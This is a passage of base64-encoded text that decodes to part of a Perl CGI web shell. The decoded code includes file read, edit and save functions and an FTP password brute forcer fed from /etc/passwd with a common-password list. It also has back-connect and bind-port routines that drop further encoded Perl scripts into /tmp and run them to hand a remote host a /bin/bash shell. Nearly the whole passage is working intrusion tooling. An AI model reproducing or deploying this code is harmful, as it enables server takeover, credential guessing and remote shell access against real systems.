G4pJC8vOwoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7CgkJfQoJCSR8PTA7Cgl9CgllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCXsKCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCRDb21tYW5kKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2NvbG9yOiB5ZWxsb3c7JyA+IENhbm4ndCB3cml0ZSBmaWxlITxmb250Pjxicj4iOwoJCSRyb3dzPSIyMCIKCX0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOwoJJHJlc3VsdCAuPSAgPDxFTkQ7Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgoJJFByb21wdAoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+Cgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4KRU5ECgkKCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJkZpbGVPcGVuKCRGaWxlLDApKTsKCSRyZXN1bHQgLj0gIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gIjwvZm9ybT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIEZpbGUgT3BlbgojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBGaWxlT3BlbigkKXsKCW15ICRmaWxlID0gc2hpZnQ7CglteSAkYmluYXJ5ID0gc2hpZnQ7CglteSAkcmVzdWx0ID0gIiI7CglteSAkbiA9ICIiOwoJaWYoLWYgJGZpbGUpewoJCWlmKG9wZW4oRklMRSwkZmlsZSkpewoJCQlpZigkYmluYXJ5KXsKCQkJCWJpbm1vZGUgRklMRTsKCQkJfQoJCQl3aGlsZSAoKCRuID0gcmVhZCBGSUxFLCAkZGF0YSwgMTAyNCkgIT0gMCkgewoJCQkJJHJlc3VsdCAuPSAkZGF0YTsKCQkJfQoJCQljbG9zZShGSUxFKTsKCQl9Cgl9ZWxzZQoJewoJCXJldHVybiAiTm90J3MgYSBGaWxlISI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgU2F2ZSBGaWxlCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlKCQpCnsKCW15ICREYXRhPSBzaGlmdCA7CglteSAkRmlsZT0gc2hpZnQ7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsKCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQoJewoJCWJpbm1vZGUgRklMRTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJcmV0dXJuIDE7Cgl9ZWxzZQoJewoJCXJldHVybiAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlckZvcm0KewoJbXkgJHJlc3VsdD0iIjsKCSRyZXN1bHQgLj0gPDxFTkQ7Cgo8dGFibGU+Cgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPgpTaW1wbGUgRlRQIGJydXRlIGZvcmNlcjxicj4KTm90ZTogT25seSBzY2FuIGZyb20gMSB0byAzIHVzZXIgOi1TPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdQo8L3RleHRhcmVhPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+Cgo8b3B0aW9uPjA8L29wdGlvbj4KPG9wdGlvbj4xPC9vcHRpb24+CjxvcHRpb24+Mjwvb3B0aW9uPgoKPG9wdGlvbj4zPC9vcHRpb24+Cjwvc2VsZWN0PiAKPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InN1Ym1pdCIgdmFsdWU9IkJydXRlIEZvcmNlciIvPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgpFTkQKcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlcgp7CglteSAkcmVzdWx0PSIiOwoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9OwoJaWYoJGlueyd1c2VyJ30gZXEgIiIpCgl7CgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOwoJfWVsc2UKCXsKCQl1c2UgTmV0OjpGVFA7IAoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7CgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsKCQljaG9tcChAdXNlcik7CgkJY2hvbXAoQHBhc3MpOwoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOwoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikKCQl7CgkJCWlmKCR1c2VybmFtZSBuZSAiIikKCQkJewoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQoJCQkJewoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IAoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkKCQkJCQl7CgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOwoJCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlpZigkaW57J3NsZWVwJ30gbmUgIjAiKQoJCQkJCXsKCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkgKiAxMDAwKTsKCQkJCQl9CgkJCQkJJGZ0cC0+cXVpdCgpOwoJCQkJfQoJCQl9CgkJfQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJhY2tCaW5kRm9ybQp7CglyZXR1cm4gPDxFTkQ7Cgk8YnI+PGJyPgoKCTx0YWJsZT4KCTx0cj4KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+Cgk8dGQ+IEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY2xpZW50YWRkciIgdmFsdWU9IiRFTlZ7J1JFTU9URV9BRERSJ30iPgoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4KCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD4KCTwvZm9ybT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayEKCTxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4KCTxicj5bK10gQ2xpZW50IGxpc3RlbiB3aXRoIGNvbW1hbmQ6IDxydW4+bmMgLXZ2IC1sIC1wIDxzcGFuIGlkPSJiYSI+ODA8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+CgoJPGJyPjxicj4KCTx0YWJsZT4KCTx0cj4KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoJPHRkPkJpbmQgUG9ydDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoKCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4KCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBUZXN0aW5nIC4uLi4KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+PGJyPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmQKewoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CglpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgIiRmaWxlIjsKCX0KCXJldHVybiAiMCI7Cn0Kc3ViIFBhcnNlRmlsZVNpemUoJCkKewoJbXkgJHNpemUgPSBzaGlmdDsKCWlmKCRzaXplIDw9IDEwMjQpCgl7CgkJcmV0dXJuICRzaXplLiAiIEIiOwoJfQoJZWxzZQoJewoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBLQiI7CgkJfQoJCWVsc2UgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBNQiI7CgkJfQoJfQp9CnN1YiB0cmltKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmcgPX4gcy9eXHMrLy87Cgkkc3RyaW5nID1+IHMvXHMrJC8vOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIEFkZFNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXFwvXFx